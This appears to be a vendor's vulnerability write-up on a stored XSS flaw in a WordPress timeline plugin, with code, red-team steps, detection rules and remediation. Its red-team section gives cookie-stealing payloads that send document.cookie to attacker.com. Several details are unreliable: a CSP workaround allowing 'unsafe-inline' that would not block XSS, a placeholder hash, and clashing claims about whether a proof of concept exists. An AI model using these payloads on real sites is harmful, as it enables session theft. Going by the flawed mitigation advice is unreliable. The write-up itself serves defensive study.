CVE-2025-31595
Executive Summary
CVE-2025-31595 is a Stored Cross-Site Scripting (XSS) vulnerability in the Timeline Event History WordPress plugin by wpdiscover, affecting versions up to and including 3.2. This flaw allows an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts into web pages generated by the plugin. When other users (including lower-privileged users or site visitors) view the affected timeline entries, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The CVSS score of 6.5 (Medium) reflects the need for high privileges and user interaction, but the impact is amplified in multi-tenant or shared WordPress environments. No public exploit code or proof-of-concept is currently available, and no official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Timeline Event History WordPress plugin, distributed via the official WordPress plugin repository. As a WordPress ecosystem component, it is not managed through NPM, PyPI, Go, or Ruby registries. However, site administrators should treat this as a supply chain risk: if the plugin is installed from the WordPress repository, the malicious code can be introduced into the site’s codebase. Regular plugin updates and monitoring of the vendor’s repository are essential.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Attacker must have Editor or Administrator role.
- User Interaction (UI): Required (R) – Victim must view the malicious timeline entry.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact (C): Low (L) – Potential for data exfiltration.
- Integrity Impact (I): Low (L) – Possible content modification.
- Availability Impact (A): Low (L) – Limited denial-of-service potential.
Threat Level: Medium. Exploitation requires authenticated access with high privileges, but the stored XSS nature means the payload persists and can affect multiple users over time.
Deep Dive & Mechanics
The vulnerability exists in the timeline-event-history plugin’s input handling for timeline event titles, descriptions, or custom fields. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser. When an administrator creates or edits a timeline event, any HTML or JavaScript embedded in the input fields is stored as-is. Upon viewing the timeline page, the unsanitized data is injected into the DOM, allowing script execution.
Attack Flow:
- Attacker with Editor/Admin privileges logs into WordPress.
- Navigates to the Timeline Event History editor.
- Injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a timeline event field. - Saves the event. The payload is stored in the WordPress database.
- Any user (including visitors) viewing the timeline page triggers the script execution.
Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The lack of output encoding allows arbitrary HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 3.2):
// In timeline-event-history.php or similar
function render_timeline_event($event) {
echo '<div class="timeline-event">';
echo '<h3>' . $event->title . '</h3>'; // Unsanitized output
echo '<p>' . $event->description . '</p>'; // Unsanitized output
echo '</div>';
}
Patched Code (hypothetical fix):
function render_timeline_event($event) {
echo '<div class="timeline-event">';
echo '<h3>' . esc_html($event->title) . '</h3>'; // Escaped
echo '<p>' . esc_html($event->description) . '</p>'; // Escaped
echo '</div>';
}
The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with Timeline Event History plugin <= 3.2.
- Attacker account with Editor or Administrator role.
Steps:
- Log in to WordPress admin panel.
- Navigate to Timeline Event History → Add New Event.
- In the Title field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - In the Description field, enter:
<img src=x onerror="alert('XSS')"> - Publish the event.
- As a victim user, visit the timeline page. The script executes, sending cookies to the attacker’s server.
Payload Variations:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team (Detection & Response)
Detection:
- Monitor WordPress admin logs for unusual event creation by high-privilege users.
- Use WAF rules to block common XSS payloads in POST requests to
/wp-admin/admin-ajax.phpor plugin-specific endpoints. - Implement Content Security Policy (CSP) headers to restrict script execution.
Response:
- Immediately disable the Timeline Event History plugin.
- Remove malicious events from the database via SQL or WordPress admin.
- Rotate all user sessions and API keys.
- Apply virtual patching via WAF (e.g., ModSecurity rule:
SecRule ARGS "@contains <script>" "id:1000,deny,status:403").
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
timeline-event-history.php(v3.2):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests containing
document.cookiein the query string.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress audit logs showing event creation by non-admin users.
- Web server logs with
POST /wp-admin/admin-ajax.phpcontaining<script>tags.
- Database Indicators:
- Rows in
wp_postsor custom plugin tables containing HTML/JavaScript inpost_contentorpost_title.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_31595_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Timeline Event History plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31595"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$img_onerror = /<img[^>]+onerror\s*=/i
$svg_onload = /<svg[^>]+onload\s*=/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Timeline Event History Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via POST requests to WordPress admin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=timeline_event_history_save'
request_body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in event descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31595 Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=timeline_event_history_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Remove malicious events from the database using SQL:
DELETE FROM wp_posts WHERE post_type = 'timeline_event' AND (post_content LIKE '%<script%' OR post_title LIKE '%<script%'); - Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin-specific endpoints.
Long-Term Fixes:
- Vendor Patch: Monitor the wpdiscover repository for an official update. If none is released, consider forking the plugin and applying the fix manually.
- Code Hardening: Apply
esc_html()to all user-supplied output in the plugin’s template files. - WordPress Hardening: Enforce the principle of least privilege; restrict plugin editing capabilities to trusted administrators only.
Workarounds:
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Add a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:;
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.